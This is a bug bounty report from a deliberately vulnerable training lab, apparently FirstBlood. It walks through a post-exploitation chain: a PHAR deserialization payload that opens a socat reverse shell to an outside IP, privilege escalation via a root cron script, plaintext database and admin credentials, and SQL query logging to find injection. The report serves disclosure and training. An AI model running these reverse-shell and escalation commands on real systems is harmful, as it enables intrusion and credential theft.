FirstBlood-#929 — Server misconfigurations post-RCE
This issue was discovered on FirstBlood v2
On 2021-10-30, 0x1452 Level 3 reported:
Hey!
I'd usually add this to my previous report about the deserialization issue (#562), but it's already been accepted so I'll add some additional info in this report instead.
Points of interest for attackers after discovering the deserialization issue:
- Getting a reverse shell
- Escalating priviliges to the root user via an editable script that is called by
crontab
- Full access to database
- Session cookies and credentials for doctors and vaccination managers
- Attacker can enable logging to easily find vulnerable queries that don't use prepared statements
Getting a reverse shell
To generate the PHAR archive for the inital fb-exec
reverse shell I used the following command:
phpggc Monolog/RCE4 $'socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:159.223.18.143:41328' -pj yep.jpg > Monolog-RCE4-revshell-socat2.jpg
This payload expects a socat
listener on my VPS:
octavian28:~:% socat file:`tty`,raw,echo=0 tcp-listen:41328
As described in my previous report, submit the generated JPG/PHAR polyglot at /vaccination-manager/pub/upload-vaccination-proof.php
. Notice the request to /api/checkproof.php?proof=<path>
. Repeat the request but replace proof
with phar:///<path>
-> e.g. GET /api/checkproof.php?proof=phar:///app/firstblood/upload/94f5365e1bae2ec9f27f9bd61d35a4c6c3be6dfa.jpg
.
I now have a reverse shell on my VPS.
Escalate privileges
Now that we have a reverse shell that is logged in as the fb-exec
user we can take a look around the server.
Most interesting files on the server are ioncube encrypted. All of these encrypted files start with HR+c
. We can use the following command to find all unencrypted .php files:
find . -name "*.php" ! -exec grep -q 'HR+c' {} \; -print
The two interesting ones inside /app/firstblood
are:
include/config.php
<?php
$host = '127.0.0.1';
$db = 'firstblood';
$user = 'firstblood';
$pass = 'UZ2ClKVNF6EmVfTTbIGMv1VVQCsrJY';
$charset = 'utf8mb4';
$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$opt = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
];
?>
Plaintext credentials for the firstblood
database user. Using mysql -u firstblood -p
we can now log into the MariaDB CLI and query whatever we want.
scheduler.php
<?php
http_response_code(404);
/*
Tell Raymond on the server team to turn off the crontab until we need it
-Patrice
*/
//file_put_contents('/root/schedule.log', sprintf("[%s] I'm alive!", date('Y-m-d H:i:s')), FILE_APPEND);
The comment in here hints towards the fact that scheduler.php
is being run by a cronjob in regular intervals. To confirm this, we can check out the content of /etc/cron.d/firstblood
:
* * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1
The syntax above means that scheduler.php
is run every minute (with root permissions!). Because the fb-exec
user can edit scheduler.php
we can run any command as root. To elevate our privileges we can simply add another reverse shell command to the file:
echo $'system("socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:159.223.18.143:31429");' >> /app/firstblood/scheduler.php
To receive it I open another socat
listener on my VPS:
octavian28:~:% socat file:`tty`,raw,echo=0 tcp-listen:31429
And we're root:
root@b6f26dc69454:~# whoami
root
root@b6f26dc69454:~# id
uid=0(root) gid=0(root) groups=0(root)
Full database access
Using either the database credentials we found in /app/firstblood/include/config.php
or our root account we can now use the mysql
or mariadb
command to access the MariaDB CLI:
MariaDB [(none)]> use firstblood;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [firstblood]> show tables;
+----------------------+
| Tables_in_firstblood |
+----------------------+
| appointments |
| users |
| vaccination_managers |
| vaccination_proof |
+----------------------+
4 rows in set (0.001 sec)
MariaDB [firstblood]> select * from vaccination_managers;
+----+----------+-----------------------------------+-------------+
| id | username | password | login_token |
+----+----------+-----------------------------------+-------------+
| 1 | admin | WEtakESECuRItyseriOuSlYInmIssoURi | NULL |
+----+----------+-----------------------------------+-------------+
1 row in set (0.000 sec)
Besides just reading information, we can use this access to make hunting for SQL Injection a lot easier by enabling logging:
MariaDB [firstblood]> SET global general_log = 1;
Query OK, 0 rows affected (0.004 sec)
MariaDB [firstblood]> SET global log_output = 'table';
Query OK, 0 rows affected (0.000 sec)
Any queries performed will now be logged in mysql.general_log
. For example, try logging in at /vaccination-manager/login.php
with the credentials admin:test
, then query the logs:
MariaDB [firstblood]> SELECT event_time, command_type, argument FROM mysql.general_log LIMIT 4 OFFSET 12;
+----------------------------+--------------+------------------------------------------------------------------------------------+
| event_time | command_type | argument |
+----------------------------+--------------+------------------------------------------------------------------------------------+
| 2021-10-30 17:59:21.580123 | Prepare | SELECT id FROM vaccination_managers WHERE username = ? AND password = 'test' |
| 2021-10-30 17:59:21.580276 | Execute | SELECT id FROM vaccination_managers WHERE username = 'admin' AND password = 'test' |
| 2021-10-30 17:59:21.581362 | Close stmt | |
| 2021-10-30 17:59:21.581419 | Quit | |
+----------------------------+--------------+------------------------------------------------------------------------------------+
4 rows in set (0.001 sec)
Notice the row with command_type
set to Prepare
and the argument
SELECT id FROM vaccination_managers WHERE username = ? AND password = 'test'
. Here we can see that username
is properly getting filled in by the prepared statement. However, the password
is included directly in the string. This is a very good indicator that there is SQLi here, which I reported in #888.
P1 CRITICAL
This report contains multiple vulnerabilities:
FirstBlood ID: 34
Vulnerability Type: Deserialization
This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.
FirstBlood ID: 35
Vulnerability Type: RCE
A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.
FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure
It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.